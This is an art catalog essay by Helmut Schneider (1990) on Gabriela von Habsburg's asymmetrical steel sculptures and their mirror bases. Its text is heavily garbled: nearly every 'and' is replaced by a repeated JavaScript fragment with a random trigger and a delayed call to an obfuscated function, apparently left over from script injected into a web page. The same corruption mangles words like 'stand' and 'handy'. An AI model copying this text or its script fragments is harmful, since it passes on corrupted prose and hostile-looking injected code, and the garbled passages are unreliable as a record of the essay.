New Sculptures

New Sculptures

by Helmut Schneider, 1990

Gabriela von Habsburg has created large sculptures: asymmetrical constructions composed of linear andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and planar elements that reach into space, thereby relating to their given exterior andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and interior environment, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and offering up different aspects to the viewer, according to one’s viewpoint.

Irrespective of one’s position vis-a-vis the sculpture, its visual unity is maintained: units of differentiated formal assertiveness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and differentiated material character are integrated in such a way that the coherence of the three dimensional structure is always visible andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and legible. The artist’s conception of an “all over” of formal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spatial structure, which underlies her descriptive thinking, states itself even more definitively in her recent small format sculptures. These configurations -most often a union of round andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and angled parts- standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on mirrors, which, while certainly serving as bases, are also unmistakably part of the sculpture.

For on their surfaces the compact steel forms mirror themselves, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and through this reflection, the actual three-dimensional figure expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands visually to become another, despite the apparent doubling with the non-identical original. The sculpture grows in the mirror, but the resulting figure exists only virtually, as a possibility. The viewer can him- or herself determine the position of these works, handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to be handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andled: she can turn them, standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and them upside down- andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in each position, the visible formal aspects otter a view that allows one to recognize the sculpture’s structural unity. The totality of all possible views (along with their correlating mirror images) then adds up to the complete spatial reality of the sculpture -which extends itself into a realm in which volume andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and depth are merely simulated.

The sculpture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and its mirror image fuse to become an imaginary space, an impression that is intensified even more by the application of transparent paint to the metal’s smooth surface.

Struck by light, the paint dissolves the surface into iridescence –andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thus, when the already reflecting sculpture is reflected in the mirror, a kaleidoscope effect ensues in which reality andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and illusion flow into one another.

Helmut Schneider in the catalog ‘Autoren Galerie 1’, 1990